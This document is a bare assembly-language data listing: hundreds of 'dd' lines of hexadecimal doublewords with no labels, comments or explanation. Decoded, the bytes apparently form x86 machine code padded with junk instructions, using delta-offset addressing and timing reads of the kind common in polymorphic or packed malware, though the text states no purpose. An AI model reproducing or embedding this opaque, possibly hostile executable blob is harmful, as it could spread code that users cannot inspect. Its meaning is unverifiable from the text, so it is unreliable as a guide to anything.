		dd 44810424h, 160424h, 53430000h, 69CE2EC3h, 2BFD9D89h
		dd 9FE805E7h, 6A000008h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8B69C353h, 0E7240D8Dh
		dd 39858905h, 6A05E716h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 10F1C350h, 65AADC63h
		dd 0EE9h, 0EBECFC00h, 2170223Dh, 0E95150BEh, 0E826E8C3h
		dd 83Eh, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0DAC35545h, 85894440h, 5E7015Dh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 46C35242h, 98615BA8h
		dd 7F4E8A6h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0F9E599C3h, 0B34E19E5h, 8B0F8E1Dh
		dd 1, 918589F9h, 6A05E700h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 109C350h, 3F5A50E1h
		dd 79CE8B4h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 14A290C3h, 6FA97C25h, 45858918h
		dd 8B05E72Bh, 0E712EDB5h, 768E805h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 89B13EC3h
		dd 0E7202985h, 55BD8905h, 0E805E725h, 73Ah, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0A9C35141h, 89FFBF0Fh
		dd 0E732B585h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 66564868h, 0E89714B9h
		dd 6EEh, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 18h,	1C35747h, 20078042h, 0FE9F9h, 16050000h, 0EF93AC5Dh
		dd 0ED1DA093h, 0C7D2298h, 498589EDh, 6A05E724h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0B6D4C351h, 324B2D08h, 0FC116F18h, 689E8h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 0E02D2768h, 5958589h, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 8BA646C3h, 640E8C8h
		dd 10E90000h, 0F6000000h, 6F1EF8BCh, 48DF0CC7h,	88ED4D27h
		dd 89E9CFDDh, 0E71D1585h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0C52E477Fh
		dd 0E8FA8B7Ch, 5FEh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 78C35040h, 65B5298Bh,	8905E702h, 0E7155585h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 8D8BF5CFh, 5E71B79h, 5ADE8h, 0F9BF0F00h
		dd 24118589h, 0B58B05E7h, 5E70CD9h, 27FDB589h, 93E805E7h
		dd 56000005h, 2985895Eh, 6A05E72Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 2B47C350h
		dd 0E719498Dh, 564E805h, 8F0F0000h, 18h, 0CE8h,	0B46C8900h
		dd 45D1725Dh, 0A2AAC363h, 0B5850976h, 5E05E713h, 2AF18589h
		dd 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 1FE85DC3h, 6A000005h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 5E0DC352h
		dd 12156801h, 4980E47Eh, 19B98D0Bh, 858905E7h, 5E70251h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0EFC35141h
		dd 0C0CC179Bh, 5D8D8B08h, 0B005E72Ah, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 88B479E5h, 5082E01Ah, 83E18166h, 0D8B60F0Ah,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 2DC35646h, 0CAA85FCAh
		dd 63017B4Ch, 0FEBF0F9Fh, 2880F52h, 51000000h, 6BA595Eh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0EAD5C357h, 899E3B5Bh,	0E72421BDh
		dd 88A0F05h, 50000000h,	1B1D9D89h, 8B5905E7h, 0F19D89C3h
		dd 0C105E72Eh, 820F04E8h, 6, 285D9D89h,	0F76605E7h, 50006AE2h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8B90EC53h, 0E71AE1B5h, 31D82B05h, 0E72765B5h, 8B665005h
		dd 0F5059FBh, 1289h, 0CE800h, 7FA50000h, 0D436394Eh, 5ECDE712h
		dd 895E1141h, 7E9241Ch,	0A2000000h, 0F8B9A9AEh,	95FF0775h
		dd 5E71329h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0EC35646h, 0C75A487Ch, 34406A71h, 9D896036h, 5E71645h
		dd 9D45E281h, 5B610797h, 481BD89h, 958D05E7h, 5E715C1h
		dd 0AE9h, 1CA20800h, 0FED4B221h, 894CAB04h, 57006A1Ah
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0E831AD34h, 2CDE40F4h, 8E0F993Bh, 0Ch, 68C0Fh, 810F0000h
		dd 0
		dd 175B589h, 428905E7h,	0FD9D8904h, 8D05E702h, 0E7068195h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0CAC4FC91h, 0F7A5440h, 1A89F3BFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0E0C35646h, 5C6137C2h
		dd 89F8D136h, 6A0442h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0EAF651C3h, 7DE742FEh, 8D50E7FFh
		dd 0E71C1195h, 0B1BD2305h, 8905E72Ch, 55006A1Ah, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 6AAEE5BCh, 0D6BEAFF7h, 0ED80683Eh, 4428905h,	14E9h
		dd 5596AF00h, 0BF2E61D9h, 0CA07AA76h, 25E2E2A1h, 0E81835FAh
		dd 51958D25h, 6A05E70Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0BD59C357h,	0E8073EAh
		dd 8D89CC9Dh, 5E72515h,	6A1A89h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 5708F0C3h, 488D10FBh
		dd 291D16C5h, 0E70305B5h, 4428905h, 85858950h, 5E05E725h
		dd 12E9h, 7DCE7A00h, 5A66D900h,	451232F5h, 98F245A6h, 8DC3BF61h
		dd 0E7039995h, 0B58B5005h, 5E70C41h, 6A1A895Eh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 309EC357h, 5E189BE2h, 0B58BE8A6h, 5E728C1h, 0F044289h
		dd 0F57C8B7h, 8D5ECBB7h, 0E701C195h, 50006A05h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 12E17381h
		dd 0CD90BE66h, 6A1A89h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 89F95DC3h, 6A0442h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 1103C6C3h
		dd 42F21711h, 0F9B58C53h, 27CD958Dh, 6A05E7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 64EBF5C3h
		dd 8585296Dh, 8B05E713h, 0E717898Dh, 6A1A8905h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0E051C350h, 0A3D2AA53h, 8FA095BFh, 6A044289h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 8BEAC357h, 0F9958DCAh, 6A05E71Ah, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 5B0CC351h
		dd 53F9E1B5h, 6A1A8959h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 9BFBC356h, 0FB683753h
		dd 89F74023h, 0E707FD85h, 4428905h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 7CC35747h, 29046BB3h, 0E70AE9BDh
		dd 0C2E905h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 453160C3h, 0F569E03h, 0A59531h
		dd 6A05E7h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 15h,	12C35343h, 0A1E981E4h, 8B43E1D1h, 0E70BDDBDh, 6A006A05h
		dd 0AE900h, 0DDB0000h, 4F2B03C0h, 7BF30539h, 6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F0BF5C3h, 95FFF8BFh, 5E72A1Dh, 6AC3EA8Ah, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0F29C351h, 0A87h, 4800F00h, 66000000h, 663981BFh, 0D567DE81h
		dd 6AC58Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 79ADACC3h, 71456FACh, 66B86418h, 0C08BF28Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D4C35545h
		dd 7B5AC48Ch, 378C7507h, 0CBAEBE66h, 0C81BD83h,	750005E7h
		dd 19BD8309h, 5E728h, 53501974h, 38B8C08Bh, 89000004h
		dd 0E7177585h, 0FA9D8D05h, 0FF05E9B4h, 83585BD3h, 0E72819BDh
		dd 17740005h, 38B85350h, 89000004h, 0E7177585h,	9B9D8D05h
		dd 0FF05E9B1h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 340EC352h, 8B52C8D4h
		dd 0E718018Dh, 810F5E05h, 6, 90D9D89h, 6A05E7h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 9F2589C3h, 14E2AB72h, 0C08BB6E5h, 1395858Dh,	6A05E7h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0B45C3FC3h, 6690BDCDh, 505FE7BBh, 0E63DD3BFh, 8D899022h
		dd 5E71999h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 6CA03CC3h, 0B226667Dh, 6AE24713h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0C679E74Eh, 8AF0A31Dh, 858DAA8Dh, 5EB36ADh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0B1C35545h
		dd 719D0325h, 8305E729h, 0BD8B05C0h, 5E73279h, 90FB8B66h
		dd 0FE8h, 26D2BF00h, 0C3E38FE6h, 5BE5D32Ah, 0D29A5D8Ch
		dd 3890Fh, 8B660000h, 0E9505FDEh, 8, 43D60DE9h,	291F79FEh
		dd 5830F90h, 60000000h,	61F9DA8Bh, 0BD31006Ah, 5E707A1h
		dd 9D89006Ah, 5E72C49h,	1A4D95FFh, 6A05E7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0F054A6C3h
		dd 0FC60D355h, 1AA1B589h, 8D6105E7h, 0EAA4AA8Dh, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0CC606DACh, 0B589755Bh, 5E72AEDh, 0BD0BD1FFh, 5E715FDh
		dd 2B8DBD83h, 0F0105E7h, 7185h,	6AD2B700h, 52006A02h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 6676D30Dh, 21858929h, 8B05E716h, 0E722F19Dh,	52505005h
		dd 310FD98Bh, 709393BFh, 89585A47h, 6A2404h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0C0F0B9C3h
		dd 419589CCh, 0FF05E714h, 0E71ABD95h, 0E3816605h, 5AE93879h
		dd 0E800000Eh, 0
		dd 0B7ED815Dh, 6605EB36h, 0D482F781h, 63DBD89h,	858D05E7h
		dd 5EA90FDh, 89505F50h,	6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8BC16DC3h, 0E715D9BDh
		dd 35FF6405h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 8FC35343h
		dd 258964h, 0F000000h, 681h, 3D9D8900h,	0FF05E723h, 0E714FD85h
		dd 10D38105h, 6A213FF0h, 0C38166FFh, 0B5FFD58Bh, 5E71CE1h
		dd 29A19D89h, 95FF05E7h, 5E70451h, 15DE9h, 0B0FC00h, 0E6D8BF0Fh
		dd 0AE970h, 225A0000h, 0A6EA0EB7h, 4DE913FCh, 0B70F71E4h
		dd 0F613CD9h, 13983h, 6890F00h,	89000000h, 0E71CB99Dh
		dd 0C8B60F05h, 0BAFBBF0Fh, 6, 14E8h, 3233E300h,	6F57630h
		dd 6BCDA2CBh, 0C29A6D4Eh, 159763B9h, 6E907h, 93430000h
		dd 0D7ADAAB4h, 0E9C18B5Bh, 0Eh,	0E4896FC0h, 0AF6FB615h
		dd 0ABE0F926h, 8531E7F8h, 5E72E89h, 304E8C1h, 0E7143D9Dh
		dd 0E2F76605h, 11E9h, 0A107E700h, 5D4B0675h, 4D43BB4Fh
		dd 0E9879B1h, 0C82BA8E5h, 0C58D0152h, 5B05E70Bh, 0B589D18Bh
		dd 5E719B9h, 6E9h, 0A59D0B00h, 8B05E712h, 0E715C185h, 68C0F05h
		dd 29000000h, 0E70AC595h, 7C08305h, 0AE9h, 31A6A900h, 0A77BBAD3h
		dd 3C1FDB7h, 0E716719Dh, 0C08305h, 13119D03h, 0D03B05E7h
		dd 2E830Fh, 860F0000h, 3, 0E9D98B66h, 5Ah, 12E8h, 51265700h
		dd 48189567h, 0BCA309E6h, 6052F717h, 513C52BBh,	8F0Fh
		dd 5F5F0000h, 21D18D8Bh, 0BD8905E7h, 5E722EDh, 0F01E183h
		dd 2584h, 0DFBF0F00h, 21D1A583h, 89FE05E7h, 0E722D98Dh
		dd 0EB816605h, 958948CEh, 5E715C1h, 0A6E38166h,	0E9E1h
		dd 0B58D0000h, 5EABCF9h, 0C9D78166h, 0E9006A7Dh, 11h, 8BF5CDDCh
		dd 1B400C2h, 559EE0E6h,	915EDD91h, 0C195FF10h, 6A05E721h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 922BC352h, 0FD6E2713h, 80EB9B2h, 81660000h
		dd 835D83D7h, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0A4E7C3h, 9040A6C6h, 0FC248E0Bh
		dd 2E89BD8Bh, 0B805E7h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0FFC5C350h
		dd 1298BF66h, 233DBD0Bh, 0D22B05E7h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 99C35343h, 4D62E3A0h, 68A6DE7Ah
		dd 0A1BD8B40h, 0AD05E729h, 0E8D1C233h, 0E983D003h, 66F47504h
		dd 0C8F4CF81h, 1609B589h, 45B705E7h, 880Dh, 0A41ABB00h
		dd 8BFC2DEFh, 0E71AA995h, 4D8D8B05h, 6A05E72Ah,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0F52AC355h, 6800Fh, 8D890000h, 5E71D71h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 85895818h,	5E72AEDh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 9EC35747h
		dd 29531C9Dh, 0E7002595h, 0BD835B05h, 5E71865h,	91840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 7A3AC355h, 18F0F65h, 0FC000000h
		dd 0B8h, 10E900h, 51CB0000h, 470ECA52h,	7CAA1DB7h, 0CFB24AC4h
		dd 8D8DC294h, 5E74D24h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 76C35545h, 0E281F606h, 0FFFC7C02h, 9E9E1h
		dd 5CF50000h, 9B47220Ah, 0E985110Fh, 14h, 0CEC791h, 0C6533CC0h
		dd 1FCAEDC7h, 4E51AFB0h, 0CEF2EB7Bh, 2739BD83h,	0F0005E7h
		dd 50E84h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0F9B5896Ah, 0F805E721h, 2739BD83h
		dd 0F0105E7h, 4F984h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 8166347Fh, 8BE363F7h
		dd 0E729B19Dh, 0AE38105h, 8313B1D8h, 0E72739BDh, 860F0305h
		dd 488h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0E2C35545h, 950B6060h, 5E72CE9h, 1CD68166h, 9D33615Dh
		dd 5E71569h, 6A6061h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 8DD8E6C3h, 89AE4900h, 0E71A219Dh
		dd 0A59D8B05h, 6605E71Ah, 0F781D98Ch, 6DD2D105h, 2904E180h
		dd 0E7273DBDh, 49858905h, 0A05E708h, 0AD840FC9h, 6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 6982C356h, 0DB45B90Ch, 0CE8h, 0D7664C00h
		dd 0C0353A7h, 6DC96EBBh, 13E8DBh, 0B76F0000h, 0C65A5B5h
		dd 42D954F5h, 0C80F5C68h, 45981686h, 870F74h, 5F000000h
		dd 99858B5Fh, 6605E706h, 8533FB8Bh, 5E71309h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A3C35646h, 310FBB9Bh
		dd 5E9h, 0D85BD100h, 0F90E5E8h,	289h, 50D98B00h, 13E8h
		dd 3A48800h, 87DE3D2Fh,	4E7A5DACh, 4293718Eh, 0C83402EAh
		dd 7E8h, 5E2C5300h, 6734CFD2h, 0DE9h, 240F0800h, 0A8A3D579h
		dd 0BE48402Eh, 5B5F77B9h, 6AF990h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 9CC35646h, 0A20BA410h, 311CD28Dh
		dd 5AEB8166h, 6AF668F0h, 58BB000Eh, 815872D4h, 99092404h
		dd 6A0010h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0AD0D76C3h, 8A7314F0h, 1B7195FFh,	830F05E7h
		dd 5, 39F38166h, 0ED95BFC0h, 85890D03h,	5EAA646h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 97C35242h, 248B9729h
		dd 259D8B35h, 0E905E702h, 1F1h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0AFC35242h,	99295110h, 1C7F03F4h
		dd 7E86Ch, 70DB0000h, 34796580h, 86BF66F9h, 0D98A5FF2h
		dd 0A63E858Bh, 0C705EAh, 18h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0BBC35646h,	8E909DCAh, 0BF66DBA3h
		dd 0B58B0797h, 5EAA642h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 17h, 3BC35242h, 0E97B7B3Eh, 0Bh, 0A48CC1Fh
		dd 0B2C51CA6h, 8B7043F0h, 0E7328985h, 0A6BB6605h, 8B068990h
		dd 0E703F99Dh, 99858B05h, 305E706h, 0E728D59Dh,	4468905h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 14C35646h
		dd 0C7CDC629h, 62A347BAh, 0D88B5296h, 8E9505Bh,	2C000000h
		dd 0D1F33B1Eh, 96DD5BF4h, 0B5FFD88Bh, 5EAA63Eh,	0B5895360h
		dd 5E70AB1h, 61605259h,	4E86158h, 0FF000000h, 0E9001F03h
		dd 13h,	1ECB3244h, 7F678B18h, 75043090h, 1FE1D66Bh, 50595F01h
		dd 0E215A9BFh, 24448B58h, 810F04h, 8B000000h, 357DBF00h
		dd 448973FEh, 0BF600424h, 471ED175h, 59CA8B57h,	6A5861h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 77191CC3h, 95011647h, 5E71A8Dh, 0A646858Dh, 6A05EAh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 6A482CC3h, 0B58B6001h, 5E70B4Dh, 0BAB37DBAh,	0E990616Ah
		dd 0Dh,	0F0AD0D76h, 8E8A7314h, 0B25C3D75h, 0BB6650C1h
		dd 0FF9021CDh, 0E71B7195h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 89E46AFDh, 0E732B9BDh, 6A6105h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 669C71C3h, 0F381DA8Bh, 5D3CC00Fh, 273985C7h,	305E7h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0CD8E12C3h, 46BD837Fh, 5EAA6h, 46840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E9B62CC3h, 3Fh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0E2C35040h, 9D89AC69h, 5E700F5h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 1A32C350h, 0B05D5282h, 0AD9D0352h, 5F05E728h, 6AF88B66h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 93C4C351h, 0BDB3EE27h, 0BF0FD44Ch, 9D8D89D8h
		dd 8305E724h, 0E72739BDh, 850F0305h, 45Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 15C35343h, 0F2B92B3h
		dd 584h, 0DF816600h, 0BD8B9F3Dh, 5E721E9h, 0A646BD83h
		dd 0F0005EAh, 42284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0B954957Bh, 0FD288ABDh
		dd 79E7801Ch, 0A646B5FFh, 6A05EAh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 68F7CDC3h, 14911ABBh
		dd 8953B0A2h, 0E71C519Dh, 81665B05h, 0FFA628CBh, 0E7021995h
		dd 71BD8B05h, 8B05E72Fh, 0EAA63AB5h, 55006A05h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 9B457934h
		dd 6C7DF35h, 10001h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 20C35545h, 4650FD94h,	81536DC7h, 0D0C5DEF3h
		dd 89505B1Dh, 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0B47DDAC3h, 69B703ECh, 669D586Fh
		dd 0FFF139BBh, 0EAA646B5h, 958B6005h, 5E716EDh,	13E9h
		dd 3F8EF400h, 46FABCD8h, 6AFBC1A9h, 0D4A3E132h,	8A58629h
		dd 3195FF61h, 6A05E700h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 66F2C350h, 0ED2BDB81h
		dd 0A63AB58Bh, 8BFC05EAh, 0E7187D85h, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 9624793h, 8029B6C7h,	0B58963C7h, 5E72E6Dh, 0C48689h
		dd 0E3810000h, 2C15533h, 1AA9958Bh, 6A05E7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 481C3BC3h
		dd 82257AFAh, 0E9B26FA3h, 11h, 1722D79h, 148F4134h, 5D27D830h
		dd 0B04E0433h, 0DB589E4h, 8305E71Dh, 6A04C2h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 4A5E54C3h
		dd 81205089h, 380EE8EBh, 0C3858D1Dh, 0F05EABAh,	8689DABFh
		dd 0B8h, 2CDD8D01h, 816605E7h, 6ABBFDF3h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 850FFD86h, 2, 0B5FFDE8Ah, 5EAA646h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 7AC35343h, 13990E44h, 61F6A694h
		dd 0B18D89EDh, 0FF05E72Eh, 0E71ABD95h, 359D8B05h, 5005E719h
		dd 0FE9h, 535B4200h, 0ADEC1EF7h, 6131C4B9h, 75EE1116h
		dd 6A243489h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0CB30C356h, 9D01A4A4h,	5E71971h
		dd 0A646B5FFh, 6A05EAh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 1A7324C3h, 0FD6AE59h, 95FFDBB7h
		dd 5E70779h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0FAC35343h, 58763D57h, 0EFB658Ah, 38F0F66h, 57000000h
		dd 0BD8B5BF9h, 5E728E1h, 2D0DBD83h, 0F0005E7h, 4284h, 0D858900h
		dd 9605E720h, 50FA8B66h, 6A96FB8Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 6CD6C356h
		dd 0AE85Bh, 0DC5B0000h,	358FE8A2h, 9F02D71Bh, 7F19589h
		dd 0FF5F05E7h, 0EAA646B5h, 0BD9D2905h, 0FF05E701h, 0E7243595h
		dd 0EB816605h, 0B5FF3DBBh, 5EAA646h, 15EDBD8Bh,	95FF05E7h
		dd 5E7076Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	6DC35141h, 7BAEE44Ch, 9E9h, 0FDCA9B00h,	4E731876h
		dd 0BD83E8E5h, 5E72D85h, 44840F02h, 66000000h, 0E381FA8Bh
		dd 5174FE37h, 1185858Bh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0CD6E37C3h, 661143DFh
		dd 0C6FA8Bh, 9E900h, 89B20000h,	3419DBC1h, 0C76AE2D9h
		dd 0E7231985h, 5, 6E800h, 3BCA0000h, 2E8BB10Fh,	1FBACF81h
		dd 0E95B61B0h, 0FFFFF257h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 9FC35141h, 4C2A5271h,	7B33BADBh, 0BF0FC18Bh
		dd 95858DD9h, 6605E713h, 902FF1BFh, 0B2DABB66h,	93BB6650h
		dd 6A900Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 14E805C3h, 7D000000h, 46FF1657h, 0E1D3304h
		dd 68DCE990h, 15749C26h, 8B3421C6h, 0E700B99Dh,	6A5F05h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 5DC35747h
		dd 0AFE7D4E1h, 0F06B56Eh, 6AFBBFh, 0F19D8B57h, 5B05E713h
		dd 4790858Dh, 6A05EBh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0BE7F55C3h, 7CD448A6h, 0DE7CEB81h
		dd 0C0834D00h, 61BD8B05h, 9005E701h, 50605250h,	5A310F52h
		dd 310F6158h, 0AE8h, 76C34F00h,	3FAADE96h, 5FE7BD44h, 0E850585Ah
		dd 0Ah,	508EBFB6h, 0ABF06A01h, 8F0F2F68h, 15h, 10E9h, 0D74A3300h
		dd 0F1A9965Bh, 401E266h, 0D8FD4CF4h, 29905F6Ah,	0E72D69BDh
		dd 6A006A05h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 5384C353h, 6673854Eh, 6AABDBBBh
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0FFD98B08h, 0E71A4D95h, 53D38105h, 8D502BBFh
		dd 0EAA4AA8Dh, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 1C29DA1Dh, 38449CD6h
		dd 9D8BE08Dh, 5E7251Dh,	0AE9D1FFh, 5D000000h, 2A605B39h
		dd 80F677F2h, 10E9ABh, 5EF20000h, 6D0CFD98h, 0D125A3C0h
